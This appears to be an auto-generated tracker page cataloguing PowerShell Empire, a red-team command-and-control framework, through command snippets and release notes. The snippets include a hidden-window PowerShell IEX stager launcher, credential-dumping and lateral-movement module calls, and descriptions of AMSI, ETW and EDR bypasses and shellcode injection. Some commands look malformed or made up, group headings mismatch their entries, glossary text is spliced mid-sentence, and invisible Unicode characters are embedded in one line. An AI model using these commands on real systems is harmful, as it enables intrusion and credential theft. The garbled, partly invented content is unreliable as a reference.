./ps-empire update -y
./ps-empire update -y
starkiller:
directory: /opt/starkiller/dist
./ps-empire update -y
starkiller:
directory: /opt/starkiller/dist
./ps-empire update -y
curl -X POST http://<server>:1337/api/v2/agents/<id>/tasks/chdir -H 'Authorization: Bearer <token>' -d '{"arguments": "C:\\Temp"}'
./ps-empire test -k mysql -v
mysql:
pool_size: 20
max_overflow: 10
pool_pre_ping: true
pool_recycle: 3600
(Empire: agents) > interact <agent_name>
(Empire: <agent_name>) > usemodule python/collection/aws_imds
(Empire: python/collection/aws_imds) > execute
# config.user.yaml (placed alongside config.yaml)
server:
socketio: false
# config.yaml
plugin_marketplace:
auto_install: true
ps-empire -c -o /custom/path/config.yml
usemodule code_execution/invoke-script
set Agent <agent_name>
set ScriptPath <path_to_ps1>
execute
usemodule python/code_execution/invoke-script
set Agent <agent_name>
set ScriptPath <path_to_py>
execute
usemodule powershell/credentials/nanodump
certfile: /path/to/custom/cert.pem
keyfile: /path/to/custom/key.pem
raise ModuleValidationException('Invalid parameter provided')
invoke_process_inject --technique D/Invoke
shell --literal whoami
curl -X POST https://<empire-host>/api/v2/task -H 'Authorization: Bearer <token>' -d '{"module_id": "example", "user_id": ""}'
shell --literal whoami
DATABASE_USE=mysql docker run ... empire-server
Empire > usestager/windows/launcher_bat
[>] Agent: <agent_name>
[?] Choose an Obfuscation Technique (0. None): 0
[>] Run the following command in the target system:
powershell.exe -nop -w hidden -c "IEX ($null..." --BasicParsing
empire --reset
empire --reset
empire listeners http -o OutFile=launcher.bat -BasicParsing
usestarget <target> && usemodule credential_management/dcsync_hashdump OutputFunction JSON
./launcher.py --teamserver <ip>:<port>
cp custom.profile /data/profiles/custom.profile
usemodule powershell/credential_stealing/invoke_wiretap
curl -X POST https://<empire-host>:1337/api/admin/stager/<stager_id>/killdate?date=2024-12-31
# or for working hours:
curl -X POST https://<empire-host>:1337/api/admin/stager/<stager_id>/workinghours?start=09:00&end=17:00
# or to sync comms data:
curl -X POST https://<empire-host>:1337/api/admin/stager/<stager_id>/update_comms
curl -X POST http://<empire_host>:1337/api/users/<agent_uuid>/notes -H "Authorization: Bearer <token>" -d '{"note": "Cobalt Strike migration in progress"}'
invoke module get_gpo_computer
invoke module port_forwarding --localport 8080 --remotehost <target> --remoteport 443
invoke module invoke_dcom --custom_command 'whoami'
(listener) execute module powershell/lateral_movement/invoke_seatbelt with TargetHost=192.168.1.50
curl -k https://<empire-host>:1337/api/agents | jq '.results[].stale'
Summary
powershell-empire is an open-source post-exploitation and command-and-control framework used for adversary emulation, built on a Python 3 server with a modular architecture that accepts operator-run clients or the Starkiller GUIGUIA graphical user interface, controls such as windows, buttons and menus. It lets people use software visually rather than entering commands.. It is self-hosted: you stand up the Empire server yourself and connect to it remotely rather than consuming it as a service, which fits red teamers and penetration testers who need their own infrastructure rather than SOCSOCA security operations center, the team or function that monitors threats, investigates alerts and coordinates incident response. Its work can be internal, outsourced or shared. analysts consuming alerts. Its library covers 400-plus PowerShell, C#, and Python modules, with encrypted multi-protocol listeners, in-memory .NET execution, and built-in obfuscation and evasion against AMSI, ETWETWEvent Tracing for Windows, a Microsoft kernel-level logging framework that lets applications and drivers emit structured events; cyber tools use it to observe process, network, and file activity without installing additional sensors., and JA3JA3A method for fingerprinting TLS clients by hashing fields from the ClientHello message, producing a short string that identifies the TLS library or application making a connection regardless of IP or port./JARM fingerprinting, placing it in the same space as other C2 frameworks used for red-team engagements rather than any single named competitor. Originally started in 2015 and now carrying 256 contributors, it remains active work, with 133 commits and 57 releases in the past year and a release only 25 days old.
PowerShell Empire is a post-exploitation and adversary emulation framework used to aid Red Teams and Penetration Testers.
Which types of protocols can be used for command-and-control?
finds available listeners including HTTP/S, SMB, and Port Forward Pivot Listeners
What types of credentials can be stolen from compromised hosts?
finds methods to extract credentials from sources like the Windows Credential Manager, Linux kernel keyring subsystem, and AWS IAM role via EC2 Instance Metadata Service
What techniques are available for bypassing security controls during execution?
finds modules for bypassing AMSI, ETW, and EDR hooks, and includes configurable obfuscation methods.
What methods exist for achieving lateral movement or persistence?
finds modules designed for tasks like RDP session hijacking, network enumeration, and various persistence mechanisms.
What programming languages and execution contexts can modules target?
reports support for modules written in PowerShell, C#, and Python, including capabilities like in-memory .NET assembly execution.
How can the framework adapt to evolving operating system features and vulnerabilities?
incorporates MITRE ATT&CK mapping and includes modules targeting specific OS techniques, such as handling network service credentials or file associations.
62 capabilities
· 1 backed by code, an API document or a real run
Built from powershell-empire's releases, docs, README and our own runs.
“Seen” marks the month we first spotted a release the vendor didn't date.
Group names and tags are our labels.
+Advanced Evasion TechniquesshippedImplements PowerShell bypass execution and threadless process injection for stealthier payload delivery.19 releases · 1 other source · first seen Apr 2020▸
Also counts toward: PowerShell script execution, Scripting language support
release
19 total
Adds SafeChecksPS / SafeChecksPython bypass YAMLs consolidating bypass snippets; opt in via a stager's Bypasses parameter.
v7.0.2 · Sep 2026
· source
· release history
SafeChecksPS / SafeChecksPython bypass YAMLs consolidate the snippets previously handled by the removed SafeChecks option, opt-in via stager Bypasses parameter
v7.0.2 · Sep 2026
· source
· release history
Adds smbinfo BOF module to retrieve SMB server info via NetServerGetInfo.
v7.0.2 · Sep 2026
· source
· release history
Adds static_syscalls_dump BOF module to dump a target process's memory via static syscall numbers, bypassing ntdll hooks.
v7.0.2 · Sep 2026
· source
· release history
Adds etw_patching BOF module to patch or revert EtwEventWrite in ntdll to degrade ETW logging in-process.
v7.0.2 · Sep 2026
· source
· release history
Adds static_syscalls_apc_spawn BOF module to spawn a temporary process and inject shellcode via APC queue using static syscalls.
v7.0.2 · Sep 2026
· source
· release history
example
Inject process using the D/Invoke technique for stealthier execution.$ invoke_process_inject --technique D/Invoke
5.1.1 · Mar 2023
· source
+Tagging and OrganizationshippedApplies and filters tags across agents, tasks, credentials, and downloads via API endpoints.19 releases · 1 other source · first seen Mar 2020▸
Also counts toward: REST API
release
19 total
Adds server.socketio config option to disable Socket.IO (enabled by default).
v6.4.1 · Feb 2026
· source
· release history
Adds mTLS support to agents and listeners for mutual certificate-based authentication.
v6.3.0 · Dec 2025
· source
· release history
Adds api.ip and api.secure as server config options.
v6.0.0 · Mar 2025
· source
· release history
Plugin Task handling is moved from PluginService to PluginTaskService.
v6.0.0 · Mar 2025
· source
· release history
Adds API endpoints for managing autorun commands on agent check-in.
v6.0.0 · Mar 2025
· source
· release history
Credentials API endpoints (/api/credentials, /api/agents/:agent_id/creds) accept a tags query parameter to filter results
v5.8.1 · Dec 2023
· source
· release history
example
Attach a note to an agent using the new API endpoints to track operations or context.$ curl -X POST http://<empire_host>:1337/api/users/<agent_uuid>/notes -H "Authorization: Bearer <token>" -d '{"note": "Cobalt Strike migration in progress"}'
v3.6.0 · Nov 2020
· source
+Advanced Injection TechniquesshippedProvides modules for process injection and hollowing using various methods including BOFs, shellcode compilation, and C stagers.18 releases · first seen Feb 2022▸
release
18 total
5 ajpc500 BOFs for static-syscall injection and defense evasion: etw_patching, static_syscalls_dump, static_syscalls_inject, static_syscalls_apc_spawn, syscalls_shellcode_injection
v7.0.2 · Sep 2026
· source
· release history
Adds syscalls_shellcode_injection BOF module to inject shellcode into a remote process via direct syscalls.
v7.0.2 · Sep 2026
· source
· release history
Adds findLoadedModule BOF module to enumerate processes that have a given module (DLL substring) loaded — useful for locating injection targets and fingerprinting EDR.
v7.0.2 · Sep 2026
· source
· release history
Adds psx BOF module for a process list annotated with detected security products (AV/EDR/logging tools).
v7.0.2 · Sep 2026
· source
· release history
+Installation and environment setupverifiedInitialises data directories, resets the database, compiles components from source, and allows overriding OS compatibility checks during installation.12 releases · 5 other sources · first seen Aug 2023▸
release
12 total
The terminaltables dependency has been replaced with prettytable; code or plugins that import terminaltables directly will break.
v6.5.0 · Apr 2026
· source
· release history
Supports overriding all Empire config values with environment variables.
v6.3.0 · Dec 2025
· source
· release history
Adds clean and reset options to the Empire server for easier environment management.
v6.2.0 · Sep 2025
· source
· release history
Supports Ubuntu 24.04 in the install script.
v6.1.2 · May 2025
· source
· release history
--restip and --restport command-line options are removed; use the config file instead.
v6.0.0 · Mar 2025
· source
· release history
Replaces the old C# compilation approach with a new Empire-Compiler that auto-downloads pre-compiled binaries, eliminating dotnet as an OS dependency.
v6.0.0 · Mar 2025
· source
· release history
command line
-c — Compile Empire-Compiler from source.
v6.4.1 · Feb 2026
· command-line history
-o — Override OS check. This flag allows the installation script to proceed even if the detected operating system is not officially supported.
v6.4.1 · Feb 2026
· command-line history
--clean — Drop and reinitialize the database. Removes Starkiller/Empire-Compiler files.
v6.2.0 · Sep 2025
· command-line history
setup — Setup the data directories for Empire
v6.0.0-rc1 · Mar 2025
· command-line history
example
Override individual server settings per-environment without editing the shared base config — useful in team or containerised deployments.$ # config.user.yaml (placed alongside config.yaml) server: socketio: false
v6.4.1 · Feb 2026
· source
+Credential Theft ModulesshippedIncludes specialized modules for extracting credentials from various sources such as Windows keyrings, AWS IMDS, and Active Directory.13 releases · 2 other sources · first seen Apr 2020▸
Also counts toward: PowerShell script execution, Python scripting support, Scripting language support
release
13 total
Adds sc_qdescription BOF module to query a Windows service's description via SCM.
v7.0.2 · Sep 2026
· source
· release history
Adds psk BOF module to enumerate loaded kernel modules/drivers annotated with security-product driver detection.
v7.0.2 · Sep 2026
· source
· release history
Adds reconad BOF module for ADSI-based Active Directory reconnaissance.
v7.0.2 · Sep 2026
· source
· release history
Adds a krb_session_key credential type storing Rubeus session keys as <keytype>:<base64key>, captured from both dump and asktgt/asktgs output.
v7.0.2 · Sep 2026
· source
· release history
Adds wdtoggle BOF module to patch WDigest/Credential Guard in LSASS to re-enable plaintext credential caching.
v7.0.2 · Sep 2026
· source
· release history
Adds lapsdump BOF module to dump LAPS passwords (ms-Mcs-AdmPwd) from AD via LDAP.
v7.0.2 · Sep 2026
· source
· release history
example
Scan systems for credentials using the new nanodump BOF module within Empire.$ usemodule powershell/credentials/nanodump
v5.9.1 · Jan 2024
· source
Export DCSync hash dump results to a specific output format like JSON or CSV.$ usestarget <target> && usemodule credential_management/dcsync_hashdump OutputFunction JSON
4.1.1 · Sep 2021
· source
+Agent Lifecycle ManagementshippedProvides mechanisms to manage the agent environment, including initialization, reset, and deprecation of legacy classes.12 releases · 2 other sources · first seen Jun 2021▸
Also counts toward: PowerShell script execution
release
12 total
Adds AFTER_CHAT_MESSAGE_HOOK core hook fired with (db, message: ChatMessage) after a chat message is persisted, enabling plugins to observe chat traffic.
v7.0.2 · Sep 2026
· source
· release history
CSPRNG generation replaced random with secrets (server) and random.SystemRandom() (agent) across listeners, stagers, agents, and utilities; all deployed agents must be re-staged.
v7.0.2 · Sep 2026
· source
· release history
Adds sc_qtriggerinfo BOF module to query the trigger events that start or stop a Windows service.
v7.0.2 · Sep 2026
· source
· release history
Adds sc_qfailure BOF module to query a Windows service's failure actions (restart, run command, reboot) via SCM.
v7.0.2 · Sep 2026
· source
· release history
High-frequency hooks (AFTER_AGENT_CALLBACK_HOOK, AFTER_TASKING_RESULT_HOOK, AFTER_AGENT_CHECKIN_HOOK, AFTER_TASKING_HOOK) now receive None as the session argument instead of an active session — any hook code that uses the passed session directly will break.
v6.6.0 · May 2026
· source
· release history
Logs Empire version and git commit SHA at startup for easier production diagnostics; SHA is baked into Docker images via --build-arg
v6.5.0 · Apr 2026
· source
· release history
example
Upgrade ps-empire and apply database migrations automatically in CI/CD.$ ./ps-empire update -y
7.0.0 · Aug 2026
· source
Build and override Empire configuration during setup.$ ps-empire -c -o /custom/path/config.yml
6.4.0 · Jan 2026
· source
+Filtering and Hooking SupportshippedInitial implementation of filtering and hooking features within the Empire Client.13 releases · 1 other source · first seen Aug 2021▸
previously: Filtering and Hooking
release
13 total
Adds situational-awareness modules powershell/situational_awareness/host/{processes,ipconfig,route,dir_list} and python/situational_awareness/host/processes, emitting JSON for server-side filters.
v7.0.2 · Sep 2026
· source
· release history
Adds ldapsearch BOF module for LDAP/LDAPS queries against a domain controller with configurable scope.
v7.0.2 · Sep 2026
· source
· release history
Adds winver BOF module to retrieve Windows version, build number, and patch revision of the target host.
v7.0.2 · Sep 2026
· source
· release history
Adds netuserenum BOF module to enumerate local or domain user accounts via NetUserEnum with a configurable filter.
v7.0.2 · Sep 2026
· source
· release history
Adds findprochandle BOF module to find processes holding a handle to a named object.
v7.0.2 · Sep 2026
· source
· release history
Adds netuse_add, netuse_list, and netuse_delete BOF modules for mapping shares, enumerating connections, and disconnecting mapped drives.
v7.0.2 · Sep 2026
· source
· release history
example
Use the new autocomplete to quickly select tasks in the Empire client interface.$ In the Empire Client, type 'task' and press Tab to autocomplete tasking options.
4.1.0 · Aug 2021
· source
+Agent Configuration and Lifecycle ManagementshippedManages agent runtime settings, execution states, database migrations, and diagnostic logging.12 releases · 1 other source · first seen Jan 2024▸
release
12 total
Password hashing switched from bcrypt to PBKDF2-HMAC-SHA256 (600K iterations); existing bcrypt hashes are incompatible — reset passwords or recreate the database. Non-default bcrypt users must be manually reset via PUT /api/v2/users/{id}/password.
v7.0.2 · Sep 2026
· source
· release history
Adds a downloadable chatlog report via report=chat (included in report=all), exporting chatlog.csv; chat is now persisted to a new chat_messages table (Alembic migration 0003) and chat/history returns the most recent 20 messages.
v7.0.2 · Sep 2026
· source
· release history
Adds ./ps-empire update subcommand that moves the checkout to the latest release tag, refreshes config.yaml, fast-forwards Starkiller, the plugin registry, and the Empire Compiler binary, and applies pending Alembic migrations; use -y to auto-confirm the backup prompt.︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄
v7.0.2 · Sep 2026
· source
· release history
Adds InjectSelf option (default true) to inject_amsi_bypass and inject_etw_bypass — set false to target a remote PID instead of the agent's own process.
v7.0.2 · Sep 2026
· source
· release history
Added situational_awareness/host/inveigh credential parser to ingest NetNTLMv1/v2 hashes from task output.
7.0.1 · Aug 2026
· source
· release history
Added krb_session_key credential type for Rubeus session keys stored as <keytype>:<base64key>.
7.0.1 · Aug 2026
· source
· release history
example
Configure Empire to use a custom TLS certificate for secure agent communications.$ certfile: /path/to/custom/cert.pem keyfile: /path/to/custom/key.pem
v5.9.1 · Jan 2024
· source
+Cryptocurrency Mining SimulationshippedProvides modules to simulate cryptocurrency mining behavior for defensive training.12 releases · first seen Jan 2023▸
release
12 total
Adds domaininfo BOF module to report AD domain membership and Azure AD join status of the host.
v7.0.2 · Sep 2026
· source
· release history
Adds nslookup BOF module for DNS lookups via the Windows DNS client API, with optional custom server and record type.
v7.0.2 · Sep 2026
· source
· release history
Adds nonpaged_ldapsearch BOF module for synchronous non-paged LDAP queries against a domain controller, useful when paged queries are throttled.
v7.0.2 · Sep 2026
· source
· release history
Adds sc_enum BOF module to bulk-enumerate all services on a local or remote host via SCM (config, query, failure, and trigger data).
v7.0.2 · Sep 2026
· source
· release history
Adds reg_query BOF module for in-agent Windows registry queries — key enumeration, value lookup, and recursive traversal — on local or remote systems.
v7.0.2 · Sep 2026
· source
· release history
Adds vssenum BOF module to enumerate Volume Shadow Copies exposed on a host's SMB share, useful for locating offline SAM/SYSTEM/NTDS hives.
v7.0.2 · Sep 2026
· source
· release history
+Windows Enumeration and ReconnaissanceshippedProvides specialized modules for querying Windows system information, including SMB servers, registry keys, services, LDAP directories, and process or window details.11 releases · first seen Sep 2026▸
release
11 total
reg_query BOF enables in-agent Windows registry queries (key enumeration, value lookup, recursive traversal) on local or remote systems
v7.0.2 · Sep 2026
· source
· release history
SharpHound C# module for BloodHound AD enumeration adds MergeReferences option to the C# module YAML schema for ILRepack dependency merging
v7.0.2 · Sep 2026
· source
· release history
Adds nslookup BOF module for DNS lookups via the Windows DNS client API, with optional custom server and record type.
v7.0.2 · Sep 2026
· source
· release history
Adds nonpaged_ldapsearch BOF module for synchronous non-paged LDAP queries against a domain controller, useful when paged queries are throttled.
v7.0.2 · Sep 2026
· source
· release history
Adds sc_enum BOF module to bulk-enumerate all services on a local or remote host via SCM (config, query, failure, and trigger data).
v7.0.2 · Sep 2026
· source
· release history
Adds reg_query BOF module for in-agent Windows registry queries — key enumeration, value lookup, and recursive traversal — on local or remote systems.
v7.0.2 · Sep 2026
· source
· release history
+Configuration Layering and OverridesshippedAllows for granular configuration management through environment variables, YAML layering, and runtime overrides.8 releases · 2 other sources · first seen Feb 2022▸
release
8 total
Per-option format_string override and {{ VALUE_ARRAY }} token render values as double-quoted, comma-joined PowerShell [Array] elements
v7.0.2 · Sep 2026
· source
· release history
Added per-option format_string override and {{ VALUE_ARRAY }} token for rendering PowerShell [Array] parameters as comma-joined elements.
7.0.1 · Aug 2026
· source
· release history
./ps-empire update overwrites the base config.yaml; local customizations must be moved to config.user.yaml.
7.0.0 · Aug 2026
· source
· release history
Adds config.user.yaml layering: drop a file next to config.yaml to override specific settings without touching the base config.
v6.4.1 · Feb 2026
· source
· release history
Supports overriding all Empire config values with environment variables.
v6.3.0 · Dec 2025
· source
· release history
Adds custom certificate path configuration via server_config.yaml
v5.9.1 · Jan 2024
· source
· release history
example
Override individual server settings per-environment without editing the shared base config — useful in team or containerised deployments.$ # config.user.yaml (placed alongside config.yaml) server: socketio: false
v6.4.1 · Feb 2026
· source
Reset the Empire client configuration to defaults using the new flag$ empire --reset
4.6.0 · May 2022
· source
+Shellcode Delivery via DonutshippedGenerates shellcode from .NET assemblies using the Donut tool to enable stealthier payload execution.9 releases · 1 other source · first seen Dec 2021▸
Also counts toward: Scripting language support
release
9 total
bof_packer standalone functions have been replaced by a Packer class API; any code calling the old standalone functions will break.
v6.5.0 · Apr 2026
· source
· release history
The secinject BOF module and its pre-compiled binary have been removed; any playbooks or profiles referencing it will break.
v6.5.0 · Apr 2026
· source
· release history
Adds shellcode_compiler utility to compile position-independent C stagers into raw x64 shellcode for BOF process injection
v6.5.0 · Apr 2026
· source
· release history
Adds a C stager for lightweight stage0 shellcode injection via Fibers
v6.5.0 · Apr 2026
· source
· release history
Exposes all agent language options (C#, IronPython, Go, PowerShell) in PSexec payload selection.
v6.3.0 · Dec 2025
· source
· release history
Adds language compatibility check so modules only run on agents that support the required language.
v6.0.0 · Mar 2025
· source
· release history
example
Select a Go agent payload instead of PowerShell when laterally moving with PSexec, useful for evading PowerShell-focused defenses.$ In the Empire client, when configuring the PSexec module, set the Language option to 'go' to generate a Go-based Empire payload instead of the default PowerShell one.
v6.3.0 · Dec 2025
· source
+Remote Code Execution SupportshippedEnables execution of remote scripts across different languages including PowerShell, Python, and C# via dedicated modules.8 releases · 1 other source · first seen Feb 2023▸
Also counts toward: PowerShell script execution, REST API, Scripting language support
release
8 total
Adds SharpHound C# module for BloodHound Active Directory enumeration with ILRepack assembly merging.
v7.0.2 · Sep 2026
· source
· release history
Adds AES-256-GCM across the stack: an AES256GCM AEAD class in encryption.py (server), agent/stagers/common/aesgcm.py for Python/IronPython stagers, and a .NET 4.x AesGcmHelper for PowerShell stagers.
v7.0.2 · Sep 2026
· source
· release history
Adds parser support for the Cobalt Strike http-config block in malleable HTTP listeners, wiring trust_x_forwarded_for (default false) and block_useragents (fnmatch globs).
v7.0.2 · Sep 2026
· source
· release history
Adds POST /api/v2/obfuscation/modules/preobfuscate endpoint to trigger background pre-obfuscation of specific modules by ID (returns HTTP 202).
v6.6.0 · May 2026
· source
· release history
Refactors bof_packer into a Packer class with granular packing methods (addbytes, addstr, addWstr, addbool, adduint32, addint, addshort)
v6.5.0 · Apr 2026
· source
· release history
Adds module code_execution/invoke-script for remote PowerShell script execution.
v6.0.0 · Mar 2025
· source
· release history
example
Create a task without requiring a specific user identity.$ curl -X POST https://<empire-host>/api/v2/task -H 'Authorization: Bearer <token>' -d '{"module_id": "example", "user_id": ""}'
5.0.2 · Feb 2023
· source
+Authentication and Encryption EnhancementsshippedImproves security through mTLS support, Diffie-Hellman key exchange, and ChaCha20-Poly1305 encryption.8 releases · first seen Dec 2025▸
release
8 total
Replaced MD5 with SHA-256 for staging key normalization (non-32-char keys); agents staged under the old algorithm must be re-staged
v7.0.2 · Sep 2026
· source
· release history
AES-256-GCM support added across the stack: AES256GCM class in server, pure-Python version for stagers, and C# AesGcmHelper for PowerShell stagers
v7.0.2 · Sep 2026
· source
· release history
Replaced bcrypt password hashing with PBKDF2-HMAC-SHA256 (600K iterations); existing hashes are incompatible — reset passwords or recreate the database
v7.0.2 · Sep 2026
· source
· release history
Replaced random with secrets (server) and random.SystemRandom() (agent) for CSPRNG generation; deployed agents must be re-staged
v7.0.2 · Sep 2026
· source
· release history
Ed25519 agent-certificate verification is now mandatory in the PowerShell and C# staging branches, previously skipped for an all-zero certificate.
7.0.1 · Aug 2026
· source
· release history
Adds mTLS support to agents and listeners for mutual certificate-based authentication.
v6.3.0 · Dec 2025
· source
· release history
+Plugin and Module FrameworkshippedProvides a standardized framework for developing, validating, and executing custom plugins and modules with YAML configuration and structured error handling.7 releases · 1 other source · first seen Jan 2024▸
Also counts toward: Plugin API support, Plugin system
release
7 total
Adds support for returning validation/execution exceptions (ModuleValidationException, ModuleExecutionException, PluginValidationException, PluginExecutionException) from module and plugin generate/execute functions
v5.9.1 · Jan 2024
· source
· release history
Plugins must now have a plugin.yaml; the Base plugin class is now BasePlugin
v5.9.1 · Jan 2024
· source
· release history
Extending the Plugin class is deprecated; use the BasePlugin class instead
v5.9.1 · Jan 2024
· source
· release history
Returning tuples from module generate functions is deprecated; raise ModuleValidationException for 400 errors and ModuleExecutionException for 500 errors instead of using handle_error_message
v5.9.1 · Jan 2024
· source
· release history
Loading plugins from a .plugin file is deprecated; use a .py file with a plugin.yaml instead
v5.9.1 · Jan 2024
· source
· release history
Returning tuples from plugin execution functions is deprecated; raise PluginValidationException for 400 errors and PluginExecutionException for 500 errors
v5.9.1 · Jan 2024
· source
· release history
example
Handle validation errors in a custom module by raising the new exception type instead of returning a tuple.$ raise ModuleValidationException('Invalid parameter provided')
v5.9.1 · Jan 2024
· source
+Payload Launcher OptionsshippedAdds new payload launcher options including cmd and revershell for agent creation.6 releases · 1 other source · first seen Aug 2020▸
release
Adds cmd launcher to the available payload options for agent creation
v4.2.0 · Dec 2021
· source
· release history
Adds revershell launcher to the available payload options for agent creation
v4.2.0 · Dec 2021
· source
· release history
Adds the Invoke-SharpChisel module for C2 tunneling
v3.6.0 · Nov 2020
· source
· release history
Adds Invoke-SocksProxy listener type for SOCKS proxying through a compromised host
v3.5.0 · Oct 2020
· source
· release history
Added Malleable C2 HTTP Listener support for traffic obfuscation
v3.4.0 · Sep 2020
· source
· release history
Adds port_forwarding module to establish port forwards from the agent.
v3.3.3 · Aug 2020
· source
· release history
example
Forward local port 8080 to a remote host via the agent.$ invoke module port_forwarding --localport 8080 --remotehost <target> --remoteport 443
v3.3.3 · Aug 2020
· source
+Payload Obfuscation ConfigurationshippedAllows defining custom keyword replacement lists and enabling obfuscation options for generated payloads via configuration files.6 releases · first seen Jul 2020▸
release
Adds configurable obfuscation.timeout setting (default 300s, disable with 0) for the PowerShell obfuscation subprocess, configurable via config.yaml or EMPIRE_OBFUSCATION__TIMEOUT env var.
v6.6.0 · May 2026
· source
· release history
Adds Python obfuscation capability using python-obfuscator
v5.5.3 · Jul 2023
· source
· release history
Adds python-obfuscator integration for Python modules
5.5.0 · Jun 2023
· source
· release history
Adds global obfuscation config (removed from config table)
5.0.0 · Jan 2023
· source
· release history
Adds Keyword_Obfuscations section to config.yaml to define keyword replacement lists for payload generation.
v4.5.3 · Apr 2022
· source
· release history
Adds keyword obfuscation option to modules via a new configuration parameter
v3.3.0 · Jul 2020
· source
· release history
+C# Execution ModulesshippedSupports running C# scripts and modules directly within the agent framework.5 releases · 1 other source · first seen Mar 2022▸
Also counts toward: Scripting language support
release
Adds format_bof_output() to ModuleService to centralize BOF output formatting for Go and .NET agents
v6.5.0 · Apr 2026
· source
· release history
New obfuscate option on C# payload creation to obfuscate generated code
v4.6.1 · Jun 2022
· source
· release history
Global obfuscation enabled for all C# modules via config/option
v4.6.1 · Jun 2022
· source
· release history
Added C# execution modules for post-exploitation
4.5.0 · Mar 2022
· source
· release history
example
Run a remote PowerShell script on an agent using the new invoke-script module.$ usemodule code_execution/invoke-script set Agent <agent_name> set ScriptPath <path_to_ps1> execute
v6.0.0 · Mar 2025
· source
+Agent File TransfershippedEnables uploading files from the client machine to agent sessions using script_import.5 releases · first seen Jan 2022▸
Also counts toward: Command-line interface
release
Adds chunked file uploads to agents — files split into 512KB chunks drip-fed across checkins — removing the previous 1MB upload limit with backward-compatible protocol detection.
v7.0.2 · Sep 2026
· source
· release history
Chunked file uploads to agents remove the previous 1MB limit by splitting files into 512KB chunks across checkins
v7.0.2 · Sep 2026
· source
· release history
script_import can now upload files from the client's machine to the agent session.
v4.5.3 · Apr 2022
· source
· release history
script_import now supports uploading a file from the client's machine
4.5.0 · Mar 2022
· source
· release history
Adds upload & download options for Empire CLI
v4.3.3 · Jan 2022
· source
· release history
+C2 Profile ManagementshippedManages storage and application of custom malleable C2 profiles to define communication behaviors.4 releases · 1 other source · first seen Feb 2021▸
release
Malleable profile parser now supports Cobalt Strike http-config block with trust_x_forwarded_for (default False) and block_useragents (fnmatch globs)
v7.0.2 · Sep 2026
· source
· release history
New bypass configuration YAMls for PowerShell listeners
4.4.0 · Feb 2022
· source
· release history
Random capitalization function removed from listener configuration (listeners no longer randomize case)
4.4.0 · Feb 2022
· source
· release history
Adds malleable C2 profiles directory at /data/profiles for custom profile storage
v3.7.2 · Feb 2021
· source
· release history
example
Store custom malleable C2 profiles in the newly added data directory$ cp custom.profile /data/profiles/custom.profile
v3.7.2 · Feb 2021
· source
+Evasion Module UpdatesshippedAdds or updates specific evasion modules like PatchETW and PatchlessAMSI for bypassing security controls.5 releases · first seen Jul 2020▸
release
Adds InjectSelf option (default true) to inject_amsi_bypass and inject_etw_bypass — set false to target a remote PID instead of the agent's own process.
v7.0.2 · Sep 2026
· source
· release history
Adds 7 new BOF modules from Sliver Armory: unhook (EDR/AV API hook removal), patchit (AMSI+ETW all-in-one), inject_amsi_bypass, inject_etw_bypass, credman (Credential Manager dump), handlekatz (LSASS via handle duplication), and bofroast (CLR-free Kerberoasting).
v6.6.0 · May 2026
· source
· release history
Adds C# PatchETW module for in-process ETW patching via ntdll!EtwEventWrite
v6.5.0 · Apr 2026
· source
· release history
Adds C# PatchlessAMSI module for patchless AMSI bypass using hardware breakpoints and vectored exception handling
v6.5.0 · Apr 2026
· source
· release history
Adds AMSIBypass option to modules that generate new agents
v3.3.0 · Jul 2020
· source
· release history
+Remote Desktop Access (VNC)shippedProvides VNC modules backed by C# implementations and an embedded client for remote desktop access.5 releases · first seen Dec 2021▸
release
Adds dynamic depends_on support to stagers so dependent fields (Bypasses, Obfuscate, ObfuscateCommand) show or hide based on the selected listener type.
v6.6.0 · May 2026
· source
· release history
Adds PowerShell Invoke-RDPHijack module for RDP session hijacking via tscon.exe
v6.5.0 · Apr 2026
· source
· release history
Embedded VNC client and launcher for remote desktop via agent
v4.6.1 · Jun 2022
· source
· release history
Added embedded VNC client and launcher capability
4.6.0 · May 2022
· source
· release history
Adds a new VNC module backed by a C# implementation for remote desktop access
v4.2.0 · Dec 2021
· source
· release history
+Listener Configuration OptionsshippedSupports configuration keys for artifact storage paths and listener-specific options like auto-copying staging URLs.5 releases · first seen Jan 2020▸
release
Expands file options configuration across plugins, stagers, and listeners
v5.5.3 · Jul 2023
· source
· release history
Adds Python agent support to the hop listener for staging
v5.5.3 · Jul 2023
· source
· release history
Added download_path, stager_path, and obfuscated_module_path keys to the main .empire/config.yaml file to control where generated artifacts are stored
v4.4.1 · Mar 2022
· source
· release history
Staging key validation relaxed to allow lengths other than exactly 32 characters
v3.0.6 · Jan 2020
· source
· release history
+C2 Tunneling and Proxy SupportshippedProvides capabilities to tunnel C2 traffic through SOCKS proxies, Chisel, or other redirectors for evasion.4 releases · 1 other source · first seen Oct 2020▸
release
Add ChiselServer, SocksProxyServer plugin as a submodule
4.7.0 · Jun 2022
· source
· release history
Adds malleable C2 profiles directory at /data/profiles for custom profile storage
v3.7.2 · Feb 2021
· source
· release history
Adds the Invoke-SharpChisel module for C2 tunneling
v3.6.0 · Nov 2020
· source
· release history
Adds Invoke-SocksProxy listener type for SOCKS proxying through a compromised host
v3.5.0 · Oct 2020
· source
· release history
example
Store custom malleable C2 profiles in the newly added data directory$ cp custom.profile /data/profiles/custom.profile
v3.7.2 · Feb 2021
· source
+Update and Upgrade WorkflowshippedProvides commands to update Empire source, Starkiller, Compiler, and plugin registries interactively or non-interactively.3 releases · 1 other source · first seen Apr 2024▸
Also counts toward: Command-line interface
release
New ./ps-empire update subcommand refreshes the checkout, config.yaml, Starkiller, plugin registry, and Empire Compiler binary (default user hashes auto-migrate to PBKDF2-HMAC-SHA256)
v7.0.2 · Sep 2026
· source
· release history
./ps-empire update subcommand now handles Alembic migrations automatically with -y flag for upgrades, refreshing config.yaml and Starkiller
7.0.0 · Aug 2026
· source
· release history
--auto-pull submodule option enables automatic updates on startup
5.10.0 · Apr 2024
· source
· release history
docs
### Update Refresh the Empire source, Starkiller, Empire-Compiler, and plugin registries in one step: # Interactive: prompts before downloading a new Starkiller / Compiler ref when one is cached ./ps-empire update # Non-interactive (auto-confirms cache-migration prompts) ./ps-empire update -y What it does, in order:…
docs update · Sep 2026
· source
+Go Agent SupportshippedExpands agent capabilities to include Go-based agents for specific payloads and lateral movement scenarios.3 releases · 1 other source · first seen Sep 2025▸
release
Adds addmachineaccount BOF module for adding machine accounts (lateral movement).
v7.0.2 · Sep 2026
· source
· release history
Adds a runtime Background option to C# modules, letting operators override background/foreground execution at task time
v6.5.0 · Apr 2026
· source
· release history
Adds Go agent support to the spawn and spawnas modules.
v6.2.0 · Sep 2025
· source
· release history
example
